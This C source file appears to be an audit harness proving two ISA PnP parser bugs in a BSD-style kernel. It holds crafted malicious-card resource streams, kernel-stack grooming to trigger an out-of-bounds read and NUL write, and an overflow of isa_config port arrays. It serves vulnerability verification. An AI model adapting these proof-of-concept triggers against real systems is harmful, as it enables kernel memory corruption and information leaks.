/*
 * pnp_harness.c -- verification harness for DF-2314 / DF-2315.
 * Audit target: sys/bus/isa/pnp.c (ISA PnP card resource parser).
 *
 * VERBATIM-INTERPOSITION DESIGN (established pattern, cf. DF-2300
 * fwohci rig / DF-2319):
 *   - This TU #includes the UNMODIFIED sys/bus/isa/pnp.c, so the
 *     audited code runs byte-identical to stock (sha256-gated by
 *     prep.sh against the pristine audit-tree hash).  Because its
 *     statics (pnp_create_devices, ...) become callable, the rig can
 *     drive the REAL parser with crafted PnP card resource streams --
 *     exactly the bytes a malicious ISA-PnP card (or VM firmware)
 *     would deliver through pnp_read_resources()/pnp_create_devices().
 *   - The stock pnp.c unit is dropped from the build (conf/files:
 *     optional pnp_stock_disabled) to avoid duplicate symbols; this TU
 *     provides pnp_eisaformat/pnp_check_quirks/the pnp DRIVER_MODULE
 *     exactly as stock did.  pnpparse.c stays stock and its
 *     pnp_parse_resources() is driven end-to-end for DF-2315.
 *   - Fabricated externalities: a real isa0 bus device (found via
 *     devclass_find("isa")) as the parent -- the same parent the boot
 *     path uses -- plus groomed kernel-stack residue to model whatever
 *     the boot-time call chain left below pnp_create_devices()'s
 *     100-byte stack buffer.
 *
 * Scenarios (see pnph.h):
 *   DF-2314 (pnp.c:398-411): PNP_TAG_ID_ANSI with declared length 0
 *     -> trim loop `while (buf[large_len-1] == ' ') large_len--;`
 *     reads buf[-1] (stack OOB read); with 0x20 residue it walks
 *     backwards and `buf[large_len] = 0` NUL-writes below buf[0]
 *     (stack OOB write), leaving buf[] uninitialized; desc = buf is
 *     then strdup()ed by the REAL device_set_desc_copy -> kernel
 *     stack residue becomes the device description (devinfo/dmesg
 *     info leak).
 *   DF-2315 (pnp.c:335-349): PNP_QUIRK_EXTRA_IO increments
 *     config->ic_nport and writes ic_port[ic_nport-1] with no
 *     ISA_NPORT bound -> ic_port[50] aliases ic_irqmask[0..1] /
 *     ic_drqmask[0..1] and ic_port[51] aliases
 *     ic_nmem/ic_nport/ic_nirq/ic_ndrq (struct isa_config,
 *     isavar.h:86-95).  Driven both directly (fabricated isa_config)
 *     and end-to-end through the REAL pnp_parse_resources() with a
 *     crafted SoundBlaster-quirk card stream.
 *
 * Control device: /dev/pnph0 (root-only, 0600).
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/bus.h>
#include <sys/types.h>

/*
 * The audited file, verbatim, compiled into this TU.  All its statics
 * (pnp_write, pnp_create_devices, ...) become callable.  pnp.c pulls
 * in isavar.h/pnpreg.h/pnpvar.h itself.
 */
#include "pnp.c"

#include "isa_common.h"		/* struct isa_device, isa_config_entry */
#include "pnph.h"

MALLOC_DEFINE(M_PNPH, "pnp_harness", "pnp.c verification harness");

static device_t pnph_isa;	/* the real isa0 */

/* ------------------------------------------------------------------ */
/* DF-2314: kernel-stack groom                                         */
/*                                                                     */
/* pnp_create_devices() is called at the same stack depth as           */
/* groom_stack(), so its frame (incl. char buf[100]) lands inside the  */
/* groomed pad.  Pad layout: 7KB "sea" of fill bytes, then a 1KB       */
/* "top" of 64-byte blocks [56 fill]["DF2314"][0x00][0x11]; the frame  */
/* lands in the top region.  Walk mode fills 0x20 (space); control     */
/* mode fills 0x12 (non-space -> trim loop stops immediately at        */
/* buf[-1], no walk, desc = "").  `phase` rotates the block pattern    */
/* so some phase guarantees buf[-1] == 0x20 and a 0x00 inside buf.     */
/* ------------------------------------------------------------------ */
#define GROOM_SPAN	8192
#define GROOM_TOP	1024
static char *g_lo, *g_hi;
static int g_sink;
static const char g_marker[7] = "DF2314";

static __noinline void
groom_stack(int mode, int phase)
{
	volatile char pad[GROOM_SPAN];
	char fill = mode ? (char)0x12 : (char)0x20;
	int i;

	for (i = 0; i < GROOM_SPAN - GROOM_TOP; i++)
		pad[i] = fill;
	for (; i < GROOM_SPAN; i++) {
		int m = ((i - (GROOM_SPAN - GROOM_TOP)) + phase) % 64;

		if (m < 56)
			pad[i] = fill;
		else if (m < 62)
			pad[i] = g_marker[m - 56];
		else if (m == 62)
			pad[i] = 0x00;
		else
			pad[i] = (char)0x11;
	}
	g_lo = (char *)(uintptr_t)pad;
	g_hi = (char *)(uintptr_t)pad + GROOM_SPAN;
	if (pad[GROOM_SPAN - 1] == (char)0xAB)	/* keep pad materialized */
		g_sink = 1;
}

/* inline snapshot of the (dead) groom pad -- no function call, so the
 * evidence bytes below the tested frame cannot be clobbered first. */
static char snapA[GROOM_SPAN], snapB[GROOM_SPAN];
static __inline void
snap_take(char *dst)
{
	volatile char *src = (volatile char *)g_lo;
	int i;

	for (i = 0; i < GROOM_SPAN; i++)
		dst[i] = src[i];
}

/* crafted card resource streams (what a malicious PnP card returns) */
static u_char stream_len0[] = {
	0x17, 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x00,	/* logical dev 0x12345678 */
	0x82, 0x00, 0x00,				/* ANSI string tag, len 0 */
	0x79,						/* trailing byte; consumed, loop exits */
};
static u_char stream_sane[] = {
	0x17, 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x00,
	0x82, 0x10, 0x00,				/* ANSI string tag, len 16 */
	'L','E','G','I','T','-','D','E','V','-','N','A','M','E',' ',' ',' ',
	0x79,
};
/* probes: (a) ANSI tag before any logical device -- desc saved, then
 * applied by the LD handler's `if (desc)` call site; (b) len-0 ANSI
 * followed by a len-16 ANSI on the same device; (c) len-1 ANSI whose
 * single payload byte is a space (trim walks through len>0 path). */
static u_char stream_ansifirst[] = {
	0x82, 0x00, 0x00,
	0x17, 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x00,
	0x79,
};
static u_char stream_len0_then16[] = {
	0x17, 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x00,
	0x82, 0x00, 0x00,
	0x82, 0x10, 0x00,
	'Q','Q','Q','Q','U','V','W','X','Y','Z','0','1','2','3','4','5',
	0x79,
};
static u_char stream_len1sp[] = {
	0x17, 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x00,
	0x82, 0x01, 0x00,
	0x20,
	0x79,
};
static u_char stream_len8sp[] = {		/* 8 spaces: trim exits at 0 */
	0x17, 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x00,
	0x82, 0x08, 0x00,
	' ',' ',' ',' ',' ',' ',' ',' ',
	0x79,
};
static u_char stream_len0_2ld[] = {	/* walk, then second LD applies desc */
	0x17, 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x00,
	0x82, 0x00, 0x00,
	0x17, 0x78, 0x56, 0x34, 0x13, 0x00, 0x00, 0x00,
	0x79,
};
static u_char stream_16_then_len0[] = {	/* good desc, then len0 overwrite? */
	0x17, 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x00,
	0x82, 0x10, 0x00,
	'A','A','A','A','A','A','A','A','A','A','A','A','A','A','A','A',
	0x82, 0x00, 0x00,
	0x79,
};

/* pick the most recently added child of isa0 */
static device_t
last_child(void)
{
	device_t *list;
	int n;

	if (device_get_children(pnph_isa, &list, &n))
		return (NULL);
	if (n == 0)
		return (NULL);
	return (list[n - 1]);	/* caller leaks list; rig kernel, acceptable */
}

static void
capture_desc(device_t child, struct pnph_req *r)
{
	const char *d = child ? device_get_desc(child) : NULL;
	size_t n, i;

	if (d == NULL) {
		r->o_desc_len = 0;
		r->o_desc[0] = '\0';
		if (child)
			ksnprintf(r->o_child, sizeof(r->o_child), "%s",
			    device_get_nameunit(child));
		return;
	}
	ksnprintf(r->o_child, sizeof(r->o_child), "%s",
	    device_get_nameunit(child));
	n = strlen(d);
	if (n > sizeof(r->o_desc) - 1)
		n = sizeof(r->o_desc) - 1;
	for (i = 0; i < n; i++)
		r->o_desc[i] = d[i];
	r->o_desc[n] = '\0';
	r->o_desc_len = (uint32_t)strlen(d);	/* true length even if cut */
}

static int
run_2314(struct pnph_req *r, int mode)
{
	pnp_id id;
	int phase;
	device_t child;

	id.vendor_id = 0x66666666;	/* no quirk-table match */
	id.serial = 0x11112222;
	id.checksum = 0;

	if (mode == PNPH_SC_2314_SANE) {
		pnp_create_devices(pnph_isa, &id, 231,
		    stream_sane, sizeof(stream_sane));
		child = last_child();
		capture_desc(child, r);
		kprintf("PNPH 2314 sane: child=%s desc=<%s> len=%u\n",
		    r->o_child, r->o_desc, r->o_desc_len);
		return (0);
	}

	/* control run first: non-space residue -> no walk, desc "" */
	groom_stack(1, 0);
	pnp_create_devices(pnph_isa, &id, 231, stream_len0,
	    sizeof(stream_len0));
	snap_take(snapA);
	child = last_child();
	capture_desc(child, r);
	kprintf("PNPH 2314 control: child=%s desc len=%u desc=<%s>\n",
	    r->o_child, r->o_desc_len, r->o_desc);

	if (mode == PNPH_SC_2314_CTRL)
		return (0);

	/* walk run: retry pattern phases until buf[-1]==0x20 residue */
	for (phase = 0; phase < 64; phase++) {
		groom_stack(0, phase);
		pnp_create_devices(pnph_isa, &id, 231, stream_len0,
		    sizeof(stream_len0));
		snap_take(snapB);
		child = last_child();
		capture_desc(child, r);
		if (r->o_desc_len > 0)
			break;
	}
	r->o_tries = phase + 1;
	r->o_pad_lo = (uint64_t)(uintptr_t)g_lo;
	r->o_pad_hi = (uint64_t)(uintptr_t)g_hi;
	kprintf("PNPH 2314 walk: tries=%u child=%s desc len=%u\n",
	    r->o_tries, r->o_child, r->o_desc_len);
	kprintf("PNPH 2314 walk: leaked desc bytes (stack residue):\n");
	{
		int i;

		for (i = 0; i < (int)r->o_desc_len && i < 223; i++)
			kprintf("%02x%s", (u_char)r->o_desc[i],
			    ((i % 32) == 31 || i == (int)r->o_desc_len - 1) ?
			    "\n" : " ");
		kprintf("PNPH 2314 walk: desc ascii=<%s>\n", r->o_desc);
	}

	/* isolate the OOB NUL write: the unique groom byte that was
	 * 0x12 in the control run and 0x00 in the walk run (the only
	 * 0x00-writing store on the path is buf[large_len]='\0'). */
	r->o_nul_found = 0;
	{
		int i;

		for (i = 0; i < GROOM_SPAN; i++) {
			if (snapB[i] != snapA[i] &&
			    (u_char)snapB[i] == 0x00 &&
			    (u_char)snapA[i] == 0x12) {
				r->o_nul_off = i;
				r->o_nul_addr = (uint64_t)(uintptr_t)(g_lo + i);
				r->o_nul_found++;
			}
		}
	}
	kprintf("PNPH 2314 walk: OOB NUL-write candidates below buf: %u "
	    "(pad [%p,%p) first at pad+%lld kva %p)\n",
	    r->o_nul_found, g_lo, g_hi, (long long)r->o_nul_off,
	    (void *)(uintptr_t)r->o_nul_addr);
	return (0);
}

/* ------------------------------------------------------------------ */
/* DF-2314 "smart": locate buf[] exactly (the sanity stream plants
 * "LEGIT-DEV-NAME" at buf[0..14]), then choose a groom phase that puts
 * 0x20 at buf[-1] deterministically, run the len-0 ANSI stream, and
 * dump the raw stack window + desc + diff. */
/* ------------------------------------------------------------------ */
static int
find_bytes(char *hay, int hlen, const char *needle, int nlen)
{
	int i, j;

	for (i = 0; i + nlen <= hlen; i++) {
		for (j = 0; j < nlen; j++)
			if (hay[i + j] != needle[j])
				break;
		if (j == nlen)
			return (i);
	}
	return (-1);
}

static void
dump_win(const char *tag, char *snap, int from, int to)
{
	int i;

	kprintf("PNPH win %s [%d,%d):\n", tag, from, to);
	for (i = from; i < to; i += 8) {
		kprintf("  +%5d %p: %02x %02x %02x %02x %02x %02x %02x %02x\n",
		    i, g_lo + i,
		    (u_char)snap[i], (u_char)snap[i+1], (u_char)snap[i+2],
		    (u_char)snap[i+3], (u_char)snap[i+4], (u_char)snap[i+5],
		    (u_char)snap[i+6], (u_char)snap[i+7]);
	}
}

#define PNPH_MOD64(x)	(((x) % 64 + 64) % 64)

static int
run_2314_smart(struct pnph_req *r)
{
	pnp_id id;
	int buf_off, phase, topbase, i;
	device_t child;

	id.vendor_id = 0x66666666;
	id.serial = 0x11112222;
	id.checksum = 0;
	topbase = GROOM_SPAN - GROOM_TOP;

	/* 1. locate buf[] via the sanity stream */
	groom_stack(0, 0);
	pnp_create_devices(pnph_isa, &id, 231,
	    stream_sane, sizeof(stream_sane));
	snap_take(snapA);
	buf_off = find_bytes(snapA, GROOM_SPAN, "LEGIT-DEV-NAME", 14);
	kprintf("PNPH smart: buf located at pad+%d kva %p "
	    "(pad [%p,%p) top region starts +%d)\n",
	    buf_off, buf_off >= 0 ? g_lo + buf_off : NULL,
	    g_lo, g_hi, topbase);
	if (buf_off < 0) {
		r->o_rc = 1;
		return (0);
	}
	r->o_nul_off = (uint64_t)buf_off;	/* reuse: buf location */

	/* 2. control run (non-space residue) with the same layout */
	groom_stack(1, 0);
	pnp_create_devices(pnph_isa, &id, 231, stream_len0,
	    sizeof(stream_len0));
	snap_take(snapA);
	child = last_child();
	capture_desc(child, r);
	kprintf("PNPH smart control: desc len=%u\n", r->o_desc_len);

	/* 3. choose a phase: 0x20 at buf[-1], and buf[0] not the block NUL */
	phase = 64;
	if (buf_off - 1 >= topbase) {
		for (i = 0; i < 64; i++) {
			int mm1 = PNPH_MOD64((buf_off - 1) - topbase + i);
			int m0 = PNPH_MOD64(buf_off - topbase + i);

			if (mm1 < 56 && m0 != 62 && m0 != 63) {
				phase = i;
				break;
			}
		}
	} else {
		phase = 0;	/* buf in the fill sea: buf[-1] is fill */
	}
	kprintf("PNPH smart: chosen phase=%d\n", phase);
	if (phase == 64) {
		r->o_rc = 2;
		return (0);
	}
	r->o_tries = (uint32_t)phase;

	/* 4. the walk run */
	groom_stack(0, phase);
	pnp_create_devices(pnph_isa, &id, 231, stream_len0,
	    sizeof(stream_len0));
	snap_take(snapB);
	child = last_child();
	capture_desc(child, r);
	{
		device_t *list;
		int n, k;

		if (device_get_children(pnph_isa, &list, &n) == 0) {
			kprintf("PNPH smart: isa0 children=%d; last 4:\n", n);
			for (k = n - 4; k < n; k++) {
				if (k < 0)
					continue;
				kprintf("  child[%d] unit=%d name=<%s> "
				    "desc=<%s>\n", k,
				    device_get_unit(list[k]),
				    device_get_nameunit(list[k]) ?
				    device_get_nameunit(list[k]) : "?",
				    device_get_desc(list[k]) ?
				    device_get_desc(list[k]) : "(nil)");
			}
		}
	}
	r->o_pad_lo = (uint64_t)(uintptr_t)g_lo;
	r->o_pad_hi = (uint64_t)(uintptr_t)g_hi;
	kprintf("PNPH smart walk: desc len=%u ascii=<%s>\n",
	    r->o_desc_len, r->o_desc);
	{
		int n = (int)r->o_desc_len;

		if (n > 223)
			n = 223;
		for (i = 0; i < n; i++)
			kprintf("%02x%s", (u_char)r->o_desc[i],
			    ((i % 32) == 31 || i == n - 1) ? "\n" : " ");
	}
	dump_win("ctrl", snapA, buf_off - 24, buf_off + 104);
	dump_win("walk", snapB, buf_off - 24, buf_off + 104);

	/* 5. the OOB NUL write signature: {0x12 -> 0x00} */
	r->o_nul_found = 0;
	r->o_nul_addr = 0;
	for (i = 0; i < GROOM_SPAN; i++) {
		if (snapB[i] != snapA[i] &&
		    (u_char)snapB[i] == 0x00 &&
		    (u_char)snapA[i] == 0x12) {
			if (r->o_nul_found == 0) {
				r->o_nul_off = (uint64_t)i;
				r->o_nul_addr = (uint64_t)(uintptr_t)(g_lo + i);
			}
			r->o_nul_found++;
			kprintf("PNPH smart: NUL-write signature at pad+%d "
			    "(%lld bytes below buf[0] at pad+%d) kva %p\n",
			    i, (long long)(buf_off - i), buf_off,
			    g_lo + i);
		}
	}
	if (r->o_nul_found == 0)
		kprintf("PNPH smart: no NUL-write signature found\n");
	return (0);
}

/* ------------------------------------------------------------------ */
/* DF-2315                                                             */
/* ------------------------------------------------------------------ */
#define SB64_VENDOR	0xc1008c0e	/* pnp.c quirk table: SB64 CTL00c1 */
#define SB64_LOGICAL	0x22008c0e

static void
cfg_dump(const char *tag, struct isa_config *c, struct pnph_req *r,
    int which)
{
	uint32_t *irq, *drq, *cnt;

	if (which == 0) {
		irq = r->o_irqmask0; drq = r->o_drqmask0; cnt = r->o_cnt0;
		r->o_nport0 = (uint32_t)c->ic_nport;
	} else {
		irq = r->o_irqmaskF; drq = r->o_drqmaskF; cnt = r->o_cntF;
		r->o_nportF = (uint32_t)c->ic_nport;
	}
	irq[0] = c->ic_irqmask[0]; irq[1] = c->ic_irqmask[1];
	drq[0] = c->ic_drqmask[0]; drq[1] = c->ic_drqmask[1];
	cnt[0] = (uint32_t)c->ic_nmem; cnt[1] = (uint32_t)c->ic_nport;
	cnt[2] = (uint32_t)c->ic_nirq; cnt[3] = (uint32_t)c->ic_ndrq;
	kprintf("PNPH %s: nport=%d irq={%#x,%#x} drq={%#x,%#x} "
	    "cnt(nmem,nport,nirq,ndrq)={%#x,%#x,%#x,%#x}\n",
	    tag, c->ic_nport, c->ic_irqmask[0], c->ic_irqmask[1],
	    c->ic_drqmask[0], c->ic_drqmask[1],
	    c->ic_nmem, c->ic_nport, c->ic_nirq, c->ic_ndrq);
}

static int
run_2315_direct(struct pnph_req *r, int start_nport)
{
	struct isa_config *cfg;

	cfg = kmalloc(sizeof(*cfg), M_PNPH, M_WAITOK | M_ZERO);
	cfg->ic_port[0].ir_start = 0x220;	/* card's first IO range */
	cfg->ic_port[0].ir_end = 0x22F;
	cfg->ic_port[0].ir_size = 0x10;
	cfg->ic_port[0].ir_align = 0x10;
	cfg->ic_irqmask[0] = 0xCAFE0001;	/* canaries */
	cfg->ic_irqmask[1] = 0xCAFE0002;
	cfg->ic_drqmask[0] = 0xCAFE0003;
	cfg->ic_drqmask[1] = 0xCAFE0004;
	cfg->ic_nmem = 0x00C0FFEE;
	cfg->ic_nport = start_nport;
	cfg->ic_nirq = 0x00C0FFF0;
	cfg->ic_ndrq = 0x00C0FFF1;
	cfg_dump("2315 direct before", cfg, r, 0);

	/* the REAL quirk handler, verbatim pnp.c:320 */
	pnp_check_quirks(SB64_VENDOR, SB64_LOGICAL, 0, cfg);

	cfg_dump("2315 direct after ", cfg, r, 1);
	kfree(cfg, M_PNPH);
	return (0);
}

static void
build_io_stream(u_char *buf, int ntags)
{
	int i, j = 0;

	for (i = 0; i < ntags; i++) {
		buf[j++] = 0x47;		/* small tag 8 (IO_RANGE), len 7 */
		buf[j++] = 0x01;		/* info */
		buf[j++] = 0x20; buf[j++] = 0x02;	/* base 0x220 */
		buf[j++] = 0x20; buf[j++] = 0x02;	/* range 0x220 */
		buf[j++] = 0x10;		/* align */
		buf[j++] = 0x10;		/* size (nonzero) */
	}
}

static int
run_2315_parse(struct pnph_req *r, int ntags)
{
	u_char *st;
	device_t child;
	struct isa_device *idev;
	struct isa_config_entry *ice;

	st = kmalloc(8 * ntags, M_PNPH, M_WAITOK);
	build_io_stream(st, ntags);

	/* real isa child carrying the SB64 card identity */
	child = BUS_ADD_CHILD(pnph_isa, pnph_isa, ISA_ORDER_PNP, NULL, -1);
	if (child == NULL) {
		kfree(st, M_PNPH);
		return (ENXIO);
	}
	isa_set_vendorid(child, SB64_VENDOR);
	isa_set_serial(child, 0x12345678);
	isa_set_logicalid(child, SB64_LOGICAL);
	ksnprintf(r->o_child, sizeof(r->o_child), "%s",
	    device_get_nameunit(child));

	/* the REAL stock parser (pnpparse.c) with a crafted card stream */
	pnp_parse_resources(child, st, 8 * ntags, 0);

	/* what escaped into the device: the stored config copy */
	idev = DEVTOISA(child);
	ice = TAILQ_FIRST(&idev->id_configs);
	if (ice) {
		struct isa_config *c = &ice->ice_config;

		r->o_nportF = (uint32_t)c->ic_nport;
		r->o_irqmaskF[0] = c->ic_irqmask[0];
		r->o_irqmaskF[1] = c->ic_irqmask[1];
		r->o_drqmaskF[0] = c->ic_drqmask[0];
		r->o_drqmaskF[1] = c->ic_drqmask[1];
		r->o_cntF[0] = (uint32_t)c->ic_nmem;
		r->o_cntF[1] = (uint32_t)c->ic_nport;
		r->o_cntF[2] = (uint32_t)c->ic_nirq;
		r->o_cntF[3] = (uint32_t)c->ic_ndrq;
		kprintf("PNPH 2315 parse(%d tags): stored ice_config: "
		    "nport=%#x irq={%#x,%#x} drq={%#x,%#x} "
		    "cnt={%#x,%#x,%#x,%#x}\n", ntags,
		    c->ic_nport, c->ic_irqmask[0], c->ic_irqmask[1],
		    c->ic_drqmask[0], c->ic_drqmask[1],
		    c->ic_nmem, c->ic_nport, c->ic_nirq, c->ic_ndrq);
	} else {
		kprintf("PNPH 2315 parse(%d tags): NO config stored\n", ntags);
	}

	/* arithmetic: pnp_parse_resources kmallocs (1+MAXDEP)=9 configs */
	r->o_alloc_size = 9 * (uint32_t)sizeof(struct isa_config);
	/* with every IO tag matching the quirk: +3 ports per tag */
	r->o_max_index = 3 * (uint32_t)ntags - 1;
	r->o_max_off = 128 + 16 * r->o_max_index;
	kprintf("PNPH 2315 parse(%d tags): configs alloc=%u bytes; last "
	    "quirk write at ic_port[%u] = configs+%u (escape past alloc: %s)"
	    "\n", ntags, r->o_alloc_size, r->o_max_index, r->o_max_off,
	    r->o_max_off >= r->o_alloc_size ? "YES" : "no");
	kfree(st, M_PNPH);
	return (0);
}

/* ------------------------------------------------------------------ */
/* control device                                                      */
/* ------------------------------------------------------------------ */
static int	pnph_ioctl(struct dev_ioctl_args *ap);
static int	pnph_open(struct dev_open_args *ap);

static int
pnph_open(struct dev_open_args *ap)
{
	return (0);
}

static int
pnph_ioctl(struct dev_ioctl_args *ap)
{
	struct pnph_req r;
	int rc = 0;

	bcopy(ap->a_data, &r, sizeof(r));
	switch (r.scenario) {
	case PNPH_SC_LAYOUT:
		kprintf("PNPH layout: sizeof(isa_config)=%zu "
		    "off ic_mem=%zu ic_port=%zu ic_irqmask=%zu ic_drqmask=%zu"
		    " ic_nmem=%zu ic_nport=%zu\n",
		    sizeof(struct isa_config),
		    offsetof(struct isa_config, ic_mem),
		    offsetof(struct isa_config, ic_port),
		    offsetof(struct isa_config, ic_irqmask),
		    offsetof(struct isa_config, ic_drqmask),
		    offsetof(struct isa_config, ic_nmem),
		    offsetof(struct isa_config, ic_nport));
		kprintf("PNPH layout: ic_port[50] at +%zu (ic_irqmask[0]) "
		    "ic_port[51] at +%zu (ic_nmem)\n",
		    offsetof(struct isa_config, ic_port) + 50 * 16,
		    offsetof(struct isa_config, ic_port) + 51 * 16);
		break;
	case PNPH_SC_2314_WALK:
		rc = run_2314(&r, PNPH_SC_2314_WALK);
		break;
	case PNPH_SC_2314_CTRL:
		rc = run_2314(&r, PNPH_SC_2314_CTRL);
		break;
	case PNPH_SC_2314_SANE:
		rc = run_2314(&r, PNPH_SC_2314_SANE);
		break;
	case PNPH_SC_2315_D49:
		rc = run_2315_direct(&r, 49);
		break;
	case PNPH_SC_2315_D50:
		rc = run_2315_direct(&r, 50);
		break;
	case PNPH_SC_2315_P17:
		rc = run_2315_parse(&r, 17);
		break;
	case PNPH_SC_2315_P18:
		rc = run_2315_parse(&r, 18);
		break;
	case PNPH_SC_2315_PN:
		rc = run_2315_parse(&r, r.arg ? (int)r.arg : 200);
		break;
	case 10:
		rc = run_2314_smart(&r);
		break;
	case 11: {		/* probe: ANSI tag first, then LD */
		pnp_id id;
		device_t child;

		id.vendor_id = 0x66666666;
		id.serial = 0x11112222;
		id.checksum = 0;
		groom_stack(0, 0);
		pnp_create_devices(pnph_isa, &id, 231,
		    stream_ansifirst, sizeof(stream_ansifirst));
		child = last_child();
		capture_desc(child, &r);
		kprintf("PNPH probe11 (ANSI-first): child desc=<%s> len=%u\n",
		    r.o_desc, r.o_desc_len);
		break;
	}
	case 12: {		/* probe: len0 then len16 on same dev */
		pnp_id id;
		device_t child;

		id.vendor_id = 0x66666666;
		id.serial = 0x11112222;
		id.checksum = 0;
		groom_stack(0, 0);
		pnp_create_devices(pnph_isa, &id, 231,
		    stream_len0_then16, sizeof(stream_len0_then16));
		child = last_child();
		capture_desc(child, &r);
		kprintf("PNPH probe12 (len0;len16): child desc=<%s> len=%u\n",
		    r.o_desc, r.o_desc_len);
		break;
	}
	case 13: {		/* probe: len1 space payload */
		pnp_id id;
		device_t child;

		id.vendor_id = 0x66666666;
		id.serial = 0x11112222;
		id.checksum = 0;
		groom_stack(0, 0);
		pnp_create_devices(pnph_isa, &id, 231,
		    stream_len1sp, sizeof(stream_len1sp));
		child = last_child();
		capture_desc(child, &r);
		kprintf("PNPH probe13 (len1 space): child desc=<%s> len=%u\n",
		    r.o_desc, r.o_desc_len);
		break;
	}
	case 16: {		/* probe: 8-space payload, groom 0x20 below buf */
		pnp_id id;
		device_t child;

		id.vendor_id = 0x66666666;
		id.serial = 0x11112222;
		id.checksum = 0;
		groom_stack(0, 0);
		pnp_create_devices(pnph_isa, &id, 231,
		    stream_len8sp, sizeof(stream_len8sp));
		child = last_child();
		capture_desc(child, &r);
		kprintf("PNPH probe16 (len8 spaces): child desc=<%s> len=%u\n",
		    r.o_desc, r.o_desc_len);
		break;
	}
	case 17: {		/* probe: len0 walk + second LD (desc via :449) */
		pnp_id id;
		device_t *list;
		int n;

		id.vendor_id = 0x66666666;
		id.serial = 0x11112222;
		id.checksum = 0;
		groom_stack(0, 0);
		pnp_create_devices(pnph_isa, &id, 231,
		    stream_len0_2ld, sizeof(stream_len0_2ld));
		capture_desc(NULL, &r);
		if (device_get_children(pnph_isa, &list, &n) == 0) {
			int k;

			for (k = n - 2; k < n; k++) {
				if (k < 0)
					continue;
				kprintf("PNPH probe17 child[%d] desc=<%s>\n",
				    k, device_get_desc(list[k]) ?
				    device_get_desc(list[k]) : "(nil)");
			}
		}
		break;
	}
	case 18: {		/* probe: good desc then len0 overwrite */
		pnp_id id;
		device_t child;

		id.vendor_id = 0x66666666;
		id.serial = 0x11112222;
		id.checksum = 0;
		groom_stack(0, 0);
		pnp_create_devices(pnph_isa, &id, 231,
		    stream_16_then_len0, sizeof(stream_16_then_len0));
		child = last_child();
		capture_desc(child, &r);
		kprintf("PNPH probe18 (16 then len0): desc=<%s> len=%u\n",
		    r.o_desc, r.o_desc_len);
		break;
	}
	default:
		rc = EINVAL;
		break;
	}
	r.o_rc = (uint32_t)rc;
	bcopy(&r, ap->a_data, sizeof(r));
	return (rc);
}

static struct dev_ops pnph_ops = {
	{ "pnph", 0, D_MEM },
	.d_open =	pnph_open,
	.d_ioctl =	pnph_ioctl,
};

static void
pnph_init(void *dummy)
{
	devclass_t dc;

	dc = devclass_find("isa");
	if (dc)
		pnph_isa = devclass_get_device(dc, 0);
	make_dev(&pnph_ops, 0, UID_ROOT, GID_WHEEL, 0600, "pnph0");
	kprintf("PNPHARNESS-READY: pnp.c verbatim (TU-compiled) isa0=%p "
	    "/dev/pnph0\n", pnph_isa);
}
SYSINIT(pnp_harness, SI_SUB_PSEUDO, SI_ORDER_MIDDLE, pnph_init, NULL);